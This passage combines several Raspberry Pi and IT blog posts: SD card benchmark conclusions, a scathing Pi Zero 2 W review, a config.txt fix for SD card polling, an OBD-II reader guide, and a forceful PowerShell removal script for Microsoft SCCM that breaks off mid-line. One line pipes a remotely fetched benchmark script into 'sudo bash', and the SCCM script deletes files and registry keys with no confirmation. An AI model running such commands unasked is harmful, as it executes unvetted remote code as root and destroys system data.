performing very well on the benchmark. So far every application card benchmarked has hit the minimum A1 targets. If you are looking for a better performing SD card then A1 is the way to go. Video Class (V30, etc) and U Class (U1 and U3) These don’t matter for the Pi. Basically at all. They are measurements for maximum sequential I/O throughput. For example if you have a video camera that needs to record in 4k it will need a very high sequential I/O maximum transfer rate. The Pi depends on 4k block size random I/O as I’ve explained in earlier sections and these classifications don’t measure that. Indeed, my 3 worst performers on the benchmark are all U1 cards and got easily stomped (nearly doubled in score) by a SanDisk Ultra Class 10. This doesn’t mean U capable cards are bad. The Samsung Pro+ is a U1 class card and performed incredibly well on the benchmark. It just means that the Samsung Pro+ has much higher quality memory / a better controller inside it. The conclusion is that unlike the application class these classifications will not tell you if your card is going to be good or awful for the Pi. You need to benchmark them to know! Picking the Fastest Micro SD Card This can be difficult as manufacturers change their manufacturing processes and start using a different type of memory or on-board storage controller (likely to a cheaper one) for these cards. This can even happen on the same product line (such as the Samsung Evo) so manufacturer date is important when looking at these. For example, the Samsung Evo+ was terrible a few years ago but more recent batches are scoring very well. The Samsung Evo “orange” older cards tend to be faster than the newer ones. This is a big reason why I created this benchmark. With a bigger sample size of cards we as a community can pool our card benchmarks together and figure out which manufacturers and lines of cards are getting the good memory / on-board storage controllers. Since manufacturers change their processes all the time to keep up we will need to watch the benchmark results and see where the “good stuff” is going and when the card quality quietly changes! If you are currently in the market for a Micro SD card check the recommendations and the results table to see which current batches are performing the highest! How you can contribute The best way to help contribute to this research is to run the benchmark on your own Micro SD cards. We are especially looking for the more unusual Micro SD card brands. Right now there are several manufacturers of Micro SD cards that have as yet to be identified. This information isn’t published anywhere publicly so the only way we can get them is through benchmarks submitted by you! It is important to fill out everything you can see for the “Brand” question that comes up when you run the benchmark. Look at your card and fill in any branding markings you see. This helps me identify unusual card vendors and add them to the script so they can be identified to help everyone compare between the different cards. Conclusions Use a solid state drive (SSD) if possible. Instructions on how to set one up with the Pi are in this article SanDisk A1 application class cards are dominating the Micro SD results so far The only sensible Micro SD cards to buy right now are application class (A1) due to their outstanding 4k blocksize I/O performance vs. older cards. Micro SD card performance among the same brands and even the same models varied wildly depending on the manufacturing date. Memory quality and storage controller performance vary from batch to batch. Generally the newer they are the higher they tend to score on the benchmark as card technology is always improving. The Pi cannot utilize A2 so don’t pay extra for it (although sometimes the A2 versions are cheaper). A2 cards will run in A1 mode on the Pi. USB flash drives are terrible choices for Pi storage Old “spinny disk” 5400 RPM and 7200 RPM HDDs underperform decent Micro SD cards With the new benchmark we should be able to learn a lot more about storage on the Pi. Micro SD cards seem to be the area we need to learn the most about. As more people run the benchmark we’ll continue to analyze and revise recommendations based on what everyone finds! #### Raspberry Pi Zero 2 Review (It Sucks) This is what not giving a shit about your product looks like Table of Contents Toggle Quick SummaryHardware UsedNew FeaturesMissing Expected New FeaturesQuality ControlPros / ConsConclusionPrice-Dependent ExperienceRaspberry Pi Zero 2 W vs AlternativesExploring Alternatives Quick Summary SpecRaspberry Pi Zero 2 WCPUQuad-core Cortex-A53 @ 1 GHzGPUVideoCore IVRAM512 MBWiFi2.4 GHz 802.11 b/g/nBluetooth4.2USB1x micro-USB (host)Videomini-HDMIPowermicro-USBMSRP$15VerdictSolid quad-core upgrade if you can get it at MSRP (very difficult still in 2026) — but USB-C and 5 GHz WiFi are noticeably missing It’s no secret that there’s a massive Raspberry Pi shortage right now for consumers due to the Raspberry Pi Foundation’s strategy of allocating boards to business and IoT projects first and then official resellers get whatever is left. Since I own one of every Raspberry Pi that has ever been made I ended up buying one of these scalped from eBay for about $57 (all the way from Europe) which is much better than the street price of $80-$90+ I can get it in the United States. In other words I payed the scalpers to get my hands on this board so you don’t have to and let me tell you folks, it is honestly garbage and literally the dumbest purchase I’ve ever made. Today I will show and explain why the Raspberry Pi Zero 2 is the lamest and most disappointing product release that the Raspberry Pi Foundation has ever done. Let’s get started! Hardware Used Raspberry Pi Zero 2 W* The Raspberry Pi Zero 2 W is the successor to the Raspberry Pi Zero. It has a quad-core CPU which is substantially faster than the Pi Zero but is otherwise almost identical. New Features This won’t take long at all. The CPU was upgraded from a single-core BCM2835 (the CPU of the Raspberry Pi 1) in the Pi Zero W to a quad-core 64-bit ARM Cortex-A53 processor. This is a nice CPU upgrade at least if you can get this board from an authorized reseller at non-scalped prices (you won’t any time soon). Credit where credit is due. The CPU definitely needed an upgrade / refresh. Missing Expected New Features Let’s talk about the obvious things that they did not fix in this board from the Pi Zero / Pi Zero W. One limitation of the Pi Zero W is that it cannot do 5 GHz wireless. It can only do 2.4 GHz wireless. Given how many people use the Pi Zero W in projects that need wireless capabilities this is the #1 fix I was expecting. Did they fix it? The answer to that question is no they did not. The Pi Zero 2 W *still* cannot do 5 GHz wireless. Ugh. Okay, well surely they got rid of microUSB given that is 2022 and microUSB is complete garbage. Finally we can have a USB-C Pi Zero 2! Nope. It’s still microUSB 100%. There’s no USB-C. Ugh. How about eMMC storage then? An eMMC option is dead obvious to add to this board and makes sense for such a small board like this. They added them in the Compute Module 4 lineup and I’m fully expecting the Raspberry Pi 5 to have available eMMC options as well. Wrong. There are no eMMC options available for the Pi Zero 2. Ugh. But…. surely they at least upgraded the RAM past 512 MB. It had 512 MB of RAM 5 years ago in the Pi Zero, there’s no way they didn’t upgrade it! Wrong again, of course they didn’t! The Pi Zero 2 has 512 MB of RAM AGAIN and there will be no larger options available (according to Raspberry Pi). Don’t believe me? Here it is from their own release information about the board: Will there be a version of Zero 2 W with 1GB of SDRAM?No. 1GB LPDDR2 monodie are not available, and producing a SiP with two stacked SDRAM dice would be very challenging.https://www.raspberrypi.com/news/new-raspberry-pi-zero-2-w-2/ Wow. They are saying that producing a board with 1 GB of RAM would be “very challenging”. Is this a joke? How did the Raspberry Pi Foundation even get this far? You know what is more challenging than that? Creating a credit card sized computer or even smaller in the case of the Raspberry Pi Zero when nobody has ever done it before. The fact that these things are “very challenging” did not used to stop them. Why is it now? Keep reading and we’ll see if we can figure it out by the end of the article. Quality Control There is a visible decline in quality control on the board. It’s very obvious that corners are being cut. I own every Raspberry Pi going back to the very beginning and to be honest you can kind of see the process of this happening over the years. The Pi Zero 2 W though takes this to a whole new level and is a sharp, sharp decline in quality though over some of the other corner cutting. For an obvious example (that you will be able to find on your board as well from what I’ve seen should you get one of these) take a look at the edges of the board: Pi Zero vs. Pi Zero 2 – Edge Quality Control I wanted to show the Zero W (top) vs. the Zero 2 W (bottom). Notice that the Pi Zero W has a much less pronounced and cleaner edge. That is because they actually cared when they made that board and got rid of most of the perforation in the board with a grinder or some tool meant to take off the rough edges. On the Pi Zero 2 they did not bother to do this. It’s so bad there are hairs fraying off on the board (you can see these hairs hanging down in the above picture not far from the Zero 2 W label). Orange Pi wouldn’t be caught dead shipping even a $6 board that looked like this. I’ve never seen anyone ship a board that looks like this. Ever. Here’s another look: Pi Zero 2 Quality Control Look at all of those “hairs” fraying off the board and how rough and uneven that edge is. Unbelievable. This is the definition of not even trying. Remember that I paid $57 for this board and you will pay even more if you want one today off eBay. Pros / Cons Pros Quad-core CPU is a nice upgrade from the original (but the only one) Cons Extremely expensive to actually get your hands on at the time of writing Identical to previous Pi Zero other than the CPU Drop in build quality from previous generation Still microUSB (no USB-C) Still only 512 MB RAM No 5 GHz WiFi support Conclusion Updated perspective (April 2026): The Raspberry Pi shortage has largely resolved, and the Pi Zero 2 W is now much more available at or near MSRP. At $15, this board becomes a genuinely solid quad-core option — my original complaints were heavily influenced by paying scalped prices. The hardware itself is fine for the right price point. However, the missing features (USB-C, 5 GHz WiFi, more RAM) are still notable limitations compared to newer alternatives. I hate it. I hate that it’s so obvious that the quality continues to decline on these boards and that they no longer take any pride in making them or put forth any effort to make sure it’s clear it’s a higher quality product than their competitors. It really isn’t anymore. I hate that a company that started out with the goal of providing low cost computers to people now only sells them to industry insiders meaning the street prices are $80-$90. It’s even worse that they have stuck to this even seeing what it has done to the consumer market for Pis. I hate that they passed over the most obvious upgrades for the board such as 1 GB of RAM, 5 GHz WiFi and USB-C. It annoys me even more that they said it was because it would “very challenging”. Again, there is no Raspberry Pi Foundation if they can’t take on “very challenging” problems anymore. It’s just another company milking us dry with a name brand. I honestly see the terrible new NVIDIA 4000 series GPUs as a really similar problem to what is happening to Raspberry Pi. They’ve had people willing to buy their stuff at any price for so long no matter how many they produce that they don’t really have to try. And they aren’t. If you are going to try to defend this board to me (and Raspberry Pi’s current practices) I’d really challenge you to ask yourself if you are looking at this board objectively or if you are a fanboy. I didn’t write this because I hate Raspberry Pi and I’ve done tons of Pi work over the years. It’s just objectively a lazy and bad product with some rookie quality control issues going on. I wrote this because I want them to do better and it makes me sick to see releases like this. Price-Dependent Experience The main problem with this board is that unless you pre-ordered it you are not going to get it for $15 unless you are using the tools that let you know which authorized resellers have them in stock (and by using I mean constantly throughout the day because when they come in stock they’re gone in minutes often times). If you got this board for $15 you will probably be pretty happy. spinspin on reddit pointed out to me (after giving me a proper reddit trolling, which I forgive him for after our discussion) in a fair criticism of my review that “separating disappointment from the process of judging what the product actually is makes more sense.”. Well, it’s hard to deny I didn’t separate my disappointment from what the product actually is. He’s right. I’d like to add this section to explain what the product actually is, dispassionately. It’s essentially a Pi Zero W with a quad-core processor. It doesn’t really have any additional capabilities. I don’t recommend getting it unless you are running very heavy loads and absolutely require the quad-core to make your project/use case work. The reason I don’t recommend it is that the Pi Zero 2 is roughly twice as expensive as the Pi Zero and is not an upgrade that justifies the cost outside of the specific quad-core CPU benefiting a heavy-load project. If you are able to get it for $15 through an authorized reseller (now or in the future) then this is a nicely refreshed Pi Zero W (but with no additional capabilities) albeit with some build quality corner cutting (perhaps justified for whatever reasons). I covered all the things that they did not add in the Pi Zero 2 but I suspect we will see these in the Pi Zero 3 (or at least some of them). The quality control issues are concerning but shouldn’t impact the functionality of the board. Let’s just hope they don’t continue in that direction as part of the reason I love Raspberry Pi’s was their build quality (especially historically, all my old ones still work 100%). Raspberry Pi Zero 2 W vs Alternatives If you’re looking at the Pi Zero 2 W in 2025, consider these alternatives: BoardCPURAMUSBWiFiRaspberry Pi Zero 2 W*Quad A53 @ 1 GHz512 MBmicro-USB2.4 GHz onlyOrange Pi Zero 2 W*Quad A53 @ 1.5 GHz1-2 GBUSB-C2.4/5 GHzRadxa Zero 3WQuad A55 @ 2 GHz2-4 GBUSB-C2.4/5 GHz The Orange Pi Zero 2 is a compelling alternative — it gets USB-C, more RAM, and 5 GHz WiFi at the same price point. The Radxa Zero 3W is a significant step up if budget allows. Exploring Alternatives It’s pretty clear to me that Raspberry Pi has become like Apple and NVIDIA. Most people seem to be willing to defend this. I’m not. I think this board is my breakup with Raspberry Pi. I’ll likely not be doing a lot of Raspberry Pi content going forward as it’s just no longer a community I recognize or respect. They apparently *love* what Raspberry Pi is doing no matter what it is. I’m the first one off the train when things get cultish and are no longer about the hardware or technology. This site is about technology and hardware though. I’ll be doing my best to bring attention to alternative products and ecosystems here as well as supporting projects to provide an affordable and quality alternative to the Raspberry Pi. See the “Other Resources” section for work already done on this. Unfortunately Raspberry Pi is not where interesting developments are happening anymore in the SBC world for now. If the Raspberry Pi 5 looks a lot better then I’ll definitely cover that but I’m definitely a “wait and see” at this point for Raspberry Pi. I’ve made my voice heard on this board and the direction of Raspberry Pi. I don’t intend to keep talking about it though (that was just to try to help them correct course). Now it’s time to move past them just like any other bad breakup. You just have to leave them and their people that are too far gone behind. I have to do it all the time in technology when people won’t adapt and change. The internet and reddit was just as angry about my warning about the GPU market and mining. Most people totally lost their minds and ignored the warning and now anyone who didn’t listen got left behind (or worse). Those people are now bankrupt or (it’s dark, but true especially in the case of crypto) are no longer with us. It did not help them to downvote me and lose their minds for telling them the reality of the situation and it won’t here either. I’m totally used to this unfortunately. It’s really hard to give people bad news / tell them what they don’t want to hear and the internet/algorithms generally punish you for this (if not outright suppress/censor you especially in the case of reddit). I’ll always try though for the people who are truly open to new information and don’t just need their existing ideas/biases stroked. So far over the years there are enough of you out there to make the site work without me trying to appeal to crowds/cults like this and to just try to give you my honest review/perspective. That’s all I really know how to do and it has generally worked out for me so far. #### Raspberry Pi: Reclaim ~1% CPU Usage when SSD/USB Booting Native support for USB mass storage device booting has made it’s way to all of the Raspberry Pi 4’s firmware release channels! With that exciting development an old issue from the Pi 3 and earlier USB booting days has manifested itself once again in the form of a constant 1-2% CPU draw even with nothing running. This guide will show you an easy config.txt parameter to eliminate this problem and optimize your mass storage boot setups! Table of Contents Toggle Equipment UsedWhy it happensFixing SD card polling with config.txtOld methodBenchmarking / Testing StorageOther Resources Equipment Used StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Why it happens The Raspberry Pi polls endlessly for a SD card to be inserted if there is not a SD card in the slot. It polls so quickly that it actually registers as CPU usage on your system. You can observe this if you write an image to a SD card and look at the idle CPU usage and then put the same image on a SSD. On there you will notice a constant ~1% CPU drain: Top command running on Ubuntu booted on a USB mass storage device (SSD) Notice the mystery rcu_preempt process using 0.7% CPU? That is the SD card polling. The exact name of the process can vary depending on which OS and version you are running but it will never be an application and will always be a generic system background process. There is absolutely nothing running on this machine other than my “top” command, which actually came in second in CPU usage to this process. This is wasting your CPU cycles! You can actually test that this is indeed the SD card slot polling yourself. Look what happens once we put a SD card in the slot: Top command after inserting SD card into SD card slot Now we have a completely clean “top” where the only thing on the system consuming CPU cycles is the top application itself! It doesn’t matter if the SD card is blank or not or what is on there, just that you put it in there. This will cause the polling to stop and free your CPU again. If you take it out the CPU usage will immediately return! You may see the rcu_preempt still fire up and consume CPU cycles from time to time. That’s okay, it is taking care of other tasks than just SD polling, but the constant 0.7-1% CPU usage drain will disappear! Fixing SD card polling with config.txt Fortunately there is a more permanent / better way to fix this issue without having to put a SD card in the slot to do nothing! The solution is to add a parameter to your config.txt file (/boot/config.txt on Raspberry Pi OS, /boot/firmware/config.txt on Ubuntu) to instruct the Pi not to continuously check for a SD card to be inserted and instead to poll just once (upon startup). The parameter to add to your /boot/config.txt file is: dtparam=sd_poll_once Now restart your Pi. Even without a SD card inserted your CPU usage will be back to normal! Old method There was an older parameter for changing this that used to be used on the Raspberry Pi 3 and older. This was: dtoverlay=sdtweak,poll_once=on This syntax has been obsoleted and no longer works on the Pi 4. I figured I would put it here though to eliminate confusion and in case anyone is running a really old OS and needs it or is trying to search for this looking for the updated syntax. Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on pibenchmarks.com you can compare your score with others and make sure the drive is performing correctly! Other Resources To find out where to get the 64 bit version of Raspberry Pi OS: where to get the 64 bit Raspberry Pi OS image If you’re looking for help setting up USB mass storage booting on your Pi check out my new Raspberry Pi 4 Bootloader USB mass storage booting guide If you’re having trouble with your bootloader or firmware on your Pi check out my firmware / restore guide here You may also want to check out the Raspberry Pi benchmarks or even run the benchmark yourself at https://pibenchmarks.com/ #### Read and Reset Car Codes – Wireless ODBII Diagnostic Tool Chances are if you own a vehicle at some point you’ve experienced a check engine light on your vehicle. When this happens it’s common to stop by an auto-parts store or the dealership to have them read the code and determine what is wrong. Most auto parts stores will have a little diagnostic computer they can plug in to read the code. Today I wanted to highlight a really inexpensive way that you can interface with that same diagnostic computer yourself using a cheap adapter that not only allows you to read these codes but to actually reset them! Since it works on all vehicles from the year 1996 and newer it’s great to have one of these in the house as it will cover most vehicles. I’ve found it very empowering to have one of these as I can immediately research any check engine codes my vehicle has and determine what I’m going to need to do to resolve it. It’s also great if you have a check engine light for something you already know about as you are able to reset them yourself. Let’s get started! Table of Contents Toggle Hardware UsedUsagePairing DeviceChoosing an AppLooking Up Check Engine / Fault CodesConclusion Hardware Used BAFX ODBII Bluetooth Car Code / Diagnostic Tool (Android) This is the Bluetooth version of the tool and works only with Android. The BAFX ODBII Car Diagnostic Tool allows you to interface with your car’s diagnostic interface and read / reset check engine codes. This allows you to either search for information about a problem with your vehicle or to contact an expert and give them the code to help you determine how / if to address it. If you already know why a code is active and want to clear it you are able to do that as well! Works with vehicles models from the year 1996 and up. Links: Amazon.com* BAFX ODBII WiFi Code Reader / Diagnostic Tool (iOS + Android) This is the WiFi version of the tool and works with both iOS and Android. The BAFX ODBII Car Diagnostic Tool allows you to interface with your car’s diagnostic interface and read / reset check engine codes. This allows you to either search for information about a problem with your vehicle or to contact an expert and give them the code to help you determine how / if to address it. If you already know why a code is active and want to clear it you are able to do that as well! Works with vehicles models from the year 1996 and up. Links: Amazon.com* Usage These tools are incredibly easy to use. You essentially just plug them into your car’s diagnostic port. Every car manufactured from the year 1996 onward (in the United States) includes an ODBII diagnostic computer. On my 2006 Chrysler 300C the port is located below the steering wheel: 2006 Chrysler 300C ODB Port Once you’ve found this port and plugged the device in you’ll see the lights turn on like mine. It’s normal for it to just have a red light on at this point until there starts to be some communication between the device and your phone. Pairing Device Now it’s time to pair your phone with the device. If you are using the Bluetooth model then simply go to your Bluetooth settings and look for the device ODBII. The pairing password/PIN is 1234. Pairing with the WiFi version is very similar. The SSID will be OBDII Scanner and there will be no password on the access point. Choosing an App Now you need an app to connect to the device. The officially recommended app is Torque Pro which has a small fee. You may also use Torque Lite (free) to do most functions. There are many, many apps available though that can interface with ODB readers available in both the Android and iOS marketplaces/stores. For this article I’ll use the free Torque Lite version since it’s the recommended one and I’ve used it before in the past (it’s been around a long time). Looking Up Check Engine / Fault Codes Now that we’ve paired the phone with the device and have downloaded our app let’s start actually using the device. Open Torque Lite and click the gear in the bottom left of the screen. This will bring up the main menu: Torque Main Menu Now choose the very first menu option “Fault Codes…”. To see active check engine light / fault codes press “Show logged faults” (the first menu option). My Chrysler 300C had this code: ODB Fault Code P0441 This shows what it’s like to use essentially. It gives you a basic code and description as well as a “Web” button that will take you to a search for more information on that code. For those of you curious my Chrysler 300C is having a X95 fuel tank issue that is covered by extended warranty. It’s an issue where the ethanol in gasoline can cause the vapor chamber to be open when it shouldn’t flood the chamber causing my car to stall (but it can always be immediately restarted). Chrysler is doing this repair for free in 2022 on my 2006 vehicle due to an agreement they came to with the government in order to avoid a full recall on the tank. They’ve been trying to source the part for a while now and give me updates every week but haven’t been able to get me a replacement yet. Fortunately this issue is easy to avoid so it’s not an emergency. I simply can’t fill up my gas tank to full. I need to leave it at something like 7/8ths of a tank or lower and then I will not stall. Chrysler should get the parts eventually (theoretically). Conclusion I figured since my car was actively throwing codes (that are for known problems scheduled for repair when parts are available) that it would be a good time to show what it looks like to use one of these devices and an app like Torque Lite. The devices are under $25 or so which is pretty cheap as far as car…. anything goes just about. You only need one for a household. My wife recently used mine when she got a check engine light on her way home from work. Normally she would have had to stop somewhere to have the light checked or would have worried about it all night and taken it somewhere in the morning. Because we had the device we pulled the code and called her brother who is a certified mechanic and he was able to tell us what we were dealing with (something that was an easy fix) which relieved our stress. In other words you don’t need to be a mechanic to use these or benefit from having one around. Just knowing what you are dealing with is very empowering and that’s why I wanted to share this tool. Even if you know you won’t be able to understand anything about the codes you can skip several steps (often including even having to have someone directly look at the car / take it somewhere) by giving those codes to a professional. The codes are literally meant to tell a professional what is wrong with the car (but sometimes require interpretation or further investigation). I personally found it empowering to be able to pull these codes and research them myself online. Some of you may as well! #### Remove All Traces of Microsoft SCCM w/ PowerShell (By Force) Microsoft’s System Center Configuration Manager (SCCM) seems to usually work pretty well for 95-97% of the computers at the environments I’ve worked in. Unfortunately for the remaining few percentage points of computers that SCCM is *not* working pretty well for when SCCM does break it does so spectacularly with style and pizzazz. This script was developed for those computers. It first tries to uninstall SCCM gracefully if the installer is present, but regardless of whether it fails or not afterward it will wipe all traces of SCCM from the hard drive and registry. This allows you to do a new “clean” installation of SCCM afterward on machines that would not let you previously reinstall. We are going to use PowerShell to accomplish this and explain each step in this guide! Table of Contents Toggle Running SCCM UninstallerForce Removal of SCCMFinal ScriptFurther Troubleshooting – WMIFurther Troubleshooting – DISM Running SCCM Uninstaller It’s usually a good idea to let SCCM try to uninstall itself even if we are going to forcefully remove everything anyways later. The SCCM uninstaller, being officially supported, knows every trace that should be on there and has a much easier time stopping everything than we will. I broke my code up into “functions”. Go ahead and create a new PowerShell .ps1 file: # Attempt to run the SCCM uninstaller function uninstallSCCM() { if (Test-Path -Path "$Env:SystemDrive\Windows\ccmsetup\ccmsetup.exe") { # Stop SCCM services Get-Service -Name CcmExec -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose Get-Service -Name ccmsetup -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose # Run the SCCM uninstaller Start-Process -FilePath "$Env:SystemDrive\Windows\ccmsetup\ccmsetup.exe" -ArgumentList '/uninstall' # Wait for the uninstaller to finish do { Start-Sleep -Milliseconds 1000 $Process = (Get-Process ccmsetup -ErrorAction SilentlyContinue) } until ($null -eq $Process) Write-Host "SCCM uninstallation completed" } } uninstallSCCM This piece of the guide isn’t too difficult to explain so we won’t go into too much detail. Basically first we stop SCCM’s services (CCMExec and CCMSetup) and then we launch the uninstaller. If the SCCM uninstaller is present it will always be in the Windows\ccmsetup folder. The “do” loop just sleeps for 1000 milliseconds and then checks to see if the uninstaller is done. Once it is it writes a line to the host console to let us know the uninstallation has finished. The very last line of the script calls the “uninstallSCCM” function we created above. Pretty simple! One possible exception to trying the graceful uninstallation first is if the uninstaller isn’t working/freezing/stuck. I’ve seen some computers occasionally where the uninstaller will run and literally never finish even if you leave it overnight. If this is the case you may need to jump straight to manual removal otherwise try letting it finish. Force Removal of SCCM Next we are going to forcefully remove all SCCM files, registry traces, certificates, caches, WMI namespaces, etc. Let’s create a new function called “removeSCCM”: # Forcefully remove all traces of SCCM from the computer function removeSCCM() { # Stop SCCM services Get-Service -Name CcmExec -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose Get-Service -Name ccmsetup -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose # Take ownership of/delete SCCM's client folder and files $null = takeown /F "$($Env:WinDir)\CCM" /R /A /D Y 2>&1 Remove-Item -Path "$($Env:WinDir)\CCM" -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Take ownership of/delete SCCM's setup folder and files $null = takeown /F "$($Env:WinDir)\CCMSetup" /R /A /D Y 2>&1 Remove-Item -Path "$($Env:WinDir)\CCMSetup" -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Take ownership of/delete SCCM cache of downloaded packages and applications $null = takeown /F "$($Env:WinDir)\CCMCache" /R /A /D Y 2>&1 Remove-Item -Path "$($Env:WinDir)\CCMCache" -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue First we need to take ownership of the SCCM client/setup/cache folders to avoid getting permission errors when we remove them. After taking ownership we remove all the files recursively with one command using the -Recurse switch of Remove-Item. That’s it for the files, now let’s get the registry: # Remove CCM registry keys Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\CCM' -Force -Recurse -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\CCM' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SMS registry keys Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\SMS' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\SMS' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove CCMSetup registry keys Remove-Item -Path 'HKLM:\Software\Microsoft\CCMSetup' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\Software\Wow6432Node\Microsoft\CCMSetup' -Force -Confirm:$false -Recurse -Verbose -ErrorAction SilentlyContinue That’s it for all the registry keys. Let’s remove the services and the WMI namespaces next: # Remove CcmExec and ccmsetup services Remove-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\CcmExec' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\ccmsetup' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SCCM namespaces from WMI repository Get-CimInstance -Query "Select * From __Namespace Where Name='CCM'" -Namespace "root" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Get-CimInstance -Query "Select * From __Namespace Where Name='CCMVDI'" -Namespace "root" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Get-CimInstance -Query "Select * From __Namespace Where Name='SmsDm'" -Namespace "root" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Get-CimInstance -Query "Select * From __Namespace Where Name='sms'" -Namespace "root\cimv2" -ErrorAction SilentlyContinue | Remove-CimInstance -Verbose -Confirm:$false -ErrorAction SilentlyContinue Next we are going to delete SCCM’s certificates and GUID file (smscfg.ini) and add the closing brace (“}”) by adding these commands: # Remove SCCM's smscfg file (contains GUID of previous installation) Remove-Item -Path "$($Env:WinDir)\smscfg.ini" -Force -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SCCM certificates Remove-Item -Path 'HKLM:\Software\Microsoft\SystemCertificates\SMS\Certificates\*' -Force -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Completed Write-Host "All traces of SCCM have been removed" } removeSCCM And that’s it! I’m sure there’s more traces that SCCM leaves that my script potentially aren’t getting but these are the critical pieces that can prevent you from reinstalling. Final Script Here is the final script all put together: # Attempt to run the SCCM uninstaller function uninstallSCCM() { if (Test-Path -Path "$Env:SystemDrive\Windows\ccmsetup\ccmsetup.exe") { # Stop SCCM services Get-Service -Name CcmExec -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose Get-Service -Name ccmsetup -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose # Run the SCCM uninstaller Start-Process -FilePath "$Env:SystemDrive\Windows\ccmsetup\ccmsetup.exe" -ArgumentList '/uninstall' # Wait for the uninstaller to finish do { Start-Sleep -Milliseconds 1000 $Process = (Get-Process ccmsetup -ErrorAction SilentlyContinue) } until ($null -eq $Process) Write-Host "SCCM uninstallation completed" } } # Forcefully remove all traces of SCCM from the computer function removeSCCM() { # Stop SCCM services Get-Service -Name CcmExec -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose Get-Service -Name ccmsetup -ErrorAction SilentlyContinue | Stop-Service -Force -Verbose # Take ownership of/delete SCCM's client folder and files $null = takeown /F "$($Env:WinDir)\CCM" /R /A /D Y 2>&1 Remove-Item -Path "$($Env:WinDir)\CCM" -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Take ownership of/delete SCCM's setup folder and files $null = takeown /F "$($Env:WinDir)\CCMSetup" /R /A /D Y 2>&1 Remove-Item -Path "$($Env:WinDir)\CCMSetup" -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Take ownership of/delete SCCM cache of downloaded packages and applications $null = takeown /F "$($Env:WinDir)\CCMCache" /R /A /D Y 2>&1 Remove-Item -Path "$($Env:WinDir)\CCMCache" -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SCCM's smscfg file (contains GUID of previous installation) Remove-Item -Path "$($Env:WinDir)\smscfg.ini" -Force -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SCCM certificates Remove-Item -Path 'HKLM:\Software\Microsoft\SystemCertificates\SMS\Certificates\*' -Force -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove CCM registry keys Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\CCM' -Force -Recurse -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\CCM' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SMS registry keys Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\SMS' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\SMS' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove CCMSetup registry keys Remove-Item -Path 'HKLM:\Software\Microsoft\CCMSetup' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\Software\Wow6432Node\Microsoft\CCMSetup' -Force -Confirm:$false -Recurse -Verbose -ErrorAction SilentlyContinue # Remove CcmExec and ccmsetup services Remove-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\CcmExec' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue Remove-Item -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\ccmsetup' -Force -Recurse -Confirm:$false -Verbose -ErrorAction SilentlyContinue # Remove SCCM namespaces from WMI repository Get-CimInstance -Query "Select * From __Namespace Where Name='CCM'" -Namespace "root" -ErrorAction 